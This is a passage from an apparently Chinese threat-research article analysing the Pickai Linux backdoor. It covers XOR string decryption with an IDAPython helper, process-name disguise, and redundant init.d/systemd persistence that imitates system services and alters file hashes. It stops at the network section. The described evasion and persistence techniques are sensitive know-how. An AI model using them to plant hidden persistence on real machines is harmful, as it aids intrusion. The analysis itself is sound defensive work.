17px;">我们一共捕获了7个Pickai样本，本文以5月26日最新的样本为主要分析对象，它的基本信息如下所示：</span></span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="apache"><p><span leaf=""><span class="code-snippet__attribute">MD5</span>:<span class="code-snippet__number">8680</span>f76a9faaa7f62967da8a66f5a59c</span></p><p><span leaf=""><span class="code-snippet__attribute">MAGIC</span>:ELF <span class="code-snippet__number">64</span>-bit LSB shared object, x86-<span class="code-snippet__number">64</span>, version <span class="code-snippet__number">1</span> (SYSV), dynamically linked (uses shared libs), for GNU/Linux <span class="code-snippet__number">3</span>.<span class="code-snippet__number">2</span>.<span class="code-snippet__number">0</span>, stripped</span></p></pre></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">Pickai的功能比较简单，当它运行时，首先对加密的字符串进行解密，包括C2，持久化脚本等各种敏感的配置信息，然后通过检测进程的TracerPid字段进行反调试，使用pid文件确保单一实例运行，调用prctl函数对进程名进行修改进。接着根据当前用户的不同权限，通过init.d或systemd实现持久化，最后和C2建立通信，等待执行C2下发的指令。</span></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">下文将从主机行为与网络通信两个维度对Pickai后门进行分析，重点关注字符串解密、持久化机制和网络协议等关键技术特征。</span></p><p data-pm-slice="0 0 []"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 20px;font-weight: bold;">Part 1: 解密字串</span></span></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">Pickai的大部分敏感字符串加密存储在rodata段，加密方法为单字节与0xAF进行异或。因此密文有一个明显的特征，即以0xAF结尾。</span></p><p style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" nodeleaf=""><img data-imgfileid="100000381" alt="pickai_0xaf.png" class="rich_pages wxw-img" data-ratio="0.49945828819068255" data-type="png" data-w="923" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 20px;margin: 0px auto;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=9f8dfb01&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbia1sTHw1sdfUY1kvJ0gKtnp830azrCASy7QVRqzMZ6iaBwUbiaLUgicBjfeS7o2VQFbG7ncJVSicx4kxQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><div><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">为了逆向分析的方便，可以使用以下idapython代码进行解密，只需要确定</span><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">密文的开始与结尾</span></p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">即可。</span></div><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="python"><p><span leaf="">startAddr=<span class="code-snippet__number">0x000000000000D028</span></span></p><p><span leaf="">endAddr=<span class="code-snippet__number">0x000000000000DBD8</span></span></p><p><span leaf="">buf=ida_bytes.get_bytes(startAddr,endAddr-startAddr)</span></p><p><span leaf="">items=buf.replace(<span class="code-snippet__string">b&#39;\x00&#39;</span>,<span class="code-snippet__string">b&#39;&#39;</span>).split(<span class="code-snippet__string">b&#34;\xaf&#34;</span>)</span></p><p><span leaf=""><span class="code-snippet__keyword">for</span> item <span class="code-snippet__keyword">in</span> items:</span></p><p><span leaf="">    plaintxt=<span class="code-snippet__built_in">bytearray</span>()</span></p><p><span leaf="">    ciphertxt= <span class="code-snippet__string">&#39; &#39;</span>.join(<span class="code-snippet__string">f&#39;</span><span class="code-snippet__string"><span class="code-snippet__subst">{byte:02X}</span></span><span class="code-snippet__string">&#39;</span> <span class="code-snippet__keyword">for</span> byte <span class="code-snippet__keyword">in</span> item)</span></p><p><span leaf="">    addr=idc.find_binary(startAddr,idaapi.SEARCH_DOWN,ciphertxt)</span></p><p><span leaf=""><br/></span></p><p><span leaf="">    <span class="code-snippet__keyword">for</span> i <span class="code-snippet__keyword">in</span> item:</span></p><p><span leaf="">        plaintxt.append(i^<span class="code-snippet__number">0xaf</span>)</span></p><p><span leaf="">    <span class="code-snippet__built_in">print</span>(<span class="code-snippet__string">f&#34;0x</span><span class="code-snippet__string"><span class="code-snippet__subst">{addr:x}</span></span><span class="code-snippet__string">, has </span><span class="code-snippet__string"><span class="code-snippet__subst">{</span></span><span class="code-snippet__string"><span class="code-snippet__subst"><span class="code-snippet__built_in">len</span></span></span><span class="code-snippet__string"><span class="code-snippet__subst">(plaintxt)}</span></span><span class="code-snippet__string"> bytes ----&gt; </span><span class="code-snippet__string"><span class="code-snippet__subst">{plaintxt}</span></span><span class="code-snippet__string">&#34;</span>)</span></p><p><span leaf="">    plaintxt.append(<span class="code-snippet__number">0</span>)</span></p><p><span leaf="">    ida_bytes.patch_bytes(addr,<span class="code-snippet__built_in">bytes</span>(plaintxt))</span></p><p><span leaf="">    idc.create_strlit(addr,addr+<span class="code-snippet__built_in">len</span>(plaintxt))</span></p></pre></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">效果如下所示，解密出的明文中包括C2，进程伪装，持久化等功能相关的信息。</span></p><p style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" nodeleaf=""><img data-imgfileid="100000383" alt="pickai_dec.png" class="rich_pages wxw-img" data-ratio="0.4887459807073955" data-type="png" data-w="933" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 20px;margin: 0px auto;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=69e46721&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbia1sTHw1sdfUY1kvJ0gKtnp5ALZn8x2u3Y6NFZQv61SKIeECbhXwqG3B6tibsf8YsOibAdPM0ibJEmmg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h2><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 20px;font-weight: bold;">Part 2: 主机行为</span></span></h2><h2><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><br/></span></h2><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">Pickai在主机行为方面，支持反调试，单一实例，进程伪装，持久化等特性。它们的技术实现上并无特别的“脑洞”，进程伪装和持久化稍有特色，它们都体现了一个“多”的特点。</span></p><h4><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">0x1: 进程伪装</span></span></h4><h4><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><br/></span></h4><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">进程伪装的“多”，体现在伪装的进程名上。Pickai会在20个进程名中随机选择一个，使用prctl函数对自身进程名进行修改。</span></p><p style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" nodeleaf=""><img data-imgfileid="100000382" alt="pickai_fakeproc.png" class="rich_pages wxw-img" data-ratio="0.10185185185185185" data-type="png" data-w="1080" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 20px;margin: 0px auto;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=da275ef0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbia1sTHw1sdfUY1kvJ0gKtnp3ibCl02mtmLbxicKCaN0XnUhYYPWWuW77MpcRiapOPzfauI4wNOgtIDlA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">伪装进程名的详细信息如下：</span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100000384" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.292" data-s="300,640" data-type="png" data-w="750" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=fb47e8c7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbia1sTHw1sdfUY1kvJ0gKtnpz4plte3IkKZLUpw1GdK3leZWTjy6pHy1qpX7jmslVnLiazpCB8V4NHw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">0x2:持久化</span></span></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">持久化的“多”，体现在持久化服务数量上：root用户10个，普通用户5个。</span></p><p style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" nodeleaf=""><img data-imgfileid="100000385" alt="pickai_persistance.png" class="rich_pages wxw-img" data-ratio="0.15911730545876887" data-type="png" data-w="861" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 20px;margin: 0px auto;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=acfb4c1a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbia1sTHw1sdfUY1kvJ0gKtnpGb81py7mVq2JurCtqaXfGia8V5usicTwMJDzvOFH0nO8nn1rh5v6zOOw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">当前用户权限为root时，Pickai首先会将自身复制到5个不同的路径，并同步它们的“最后修改时间”至“/bin/sh”文件的时间戳，然后创建服务，利用init.d &amp; systemd 两种机制实现持久化。</span></p><p style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" nodeleaf=""><img data-imgfileid="100000386" alt="pickai_root.png" class="rich_pages wxw-img" data-ratio="0.24722222222222223" data-type="png" data-w="1080" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 20px;margin: 0px auto;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=8fafa6ef&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbia1sTHw1sdfUY1kvJ0gKtnp26MxfyZFba7uRT3BvcIiasjHAEHveriaryaFcicpXvIK2ibibxEib65TneLA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">以下为Pickai副本所在的路径，以及它们对应的持久化服务。使用init.d机制时，这些服务位于/etc/init.d/目录，而systemd机制，这些服务则位于/usr/lib/systemd/system/或/lib/systemd/system/。</span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100000387" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.8152866242038217" data-s="300,640" data-type="png" data-w="314" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=9410beae&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbia1sTHw1sdfUY1kvJ0gKtnpVhAWE5iajpxUaECfrVNSgsuPQvVt2UZ2XO585awFibGoHib1icBsGFxNtg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">很明显，Pickai试图仿冒正常系统服务，蒙混过关。实际创建的auditlogd持久化脚本如下所示：</span></p><p style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" nodeleaf=""><img data-imgfileid="100000388" alt="pickai_auditlogd.png" class="rich_pages wxw-img" data-ratio="0.28058252427184466" data-type="png" data-w="1030" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 20px;margin: 0px auto;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=1c5a971c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbia1sTHw1sdfUY1kvJ0gKtnpfOGq78UvnQf8SIJh4HanvaJjFEtn2g37J6Yb2PicKGDtFypgic0Sx1Yw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">另外值得一提的是，Pickai在自我复制过程中，会在文件尾部追加随机数据。这种技术手段很明显是在规避基于文件哈希值的检测机制。</span></p><p style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" nodeleaf=""><img data-imgfileid="100000389" alt="pickai_append.png" class="rich_pages wxw-img" data-ratio="0.4511627906976744" data-type="png" data-w="860" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 20px;margin: 0px auto;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=b1027144&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbia1sTHw1sdfUY1kvJ0gKtnpB4ct1GCqTZMyyNUXqO9Qe5r80ric4nOU9BK2jNpRCrKGQMYviaLAGtaQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">可以看出5个Pickai副本的MD5完全不一样：</span></p><p style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" nodeleaf=""><img data-imgfileid="100000390" alt="pickai_md5s.png" class="rich_pages wxw-img" data-ratio="0.1728395061728395" data-type="png" data-w="810" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 20px;margin: 0px auto;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=9f09bc27&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbia1sTHw1sdfUY1kvJ0gKtnpMpluusD6wHmBIR8vgUn7FrecuNkDeIyPBEjIqbLkM3cz8pQ73s1TJg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><div><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">当用户权限不是root时，Pickai使用systemd机制实现持久化，整个过程与root权限相似，只不过副本路径以及服务名称有所不同。这些服务位于</span><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">$HOME/.config/systemd/user/</span></span></p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">。</span></div><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100000397" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.6222760290556901" data-s="300,640" data-type="png" data-w="413" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=961db81b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbia1sTHw1sdfUY1kvJ0gKtnps4FKiaZjiclTbOlKEsPd9B9DUYAiarWGRHicDCXT02F1v7Cv6cdbQRLytQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">Pickai正是通过这种冗余的持久化机制，在被感染设备上实现多个分身，只要一处没有清理干净，它就能卷土重来</span><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">。</span></p><h2><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 20px;font-weight: bold;">Part 3: 网络通信</span></span></h2><h2><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, 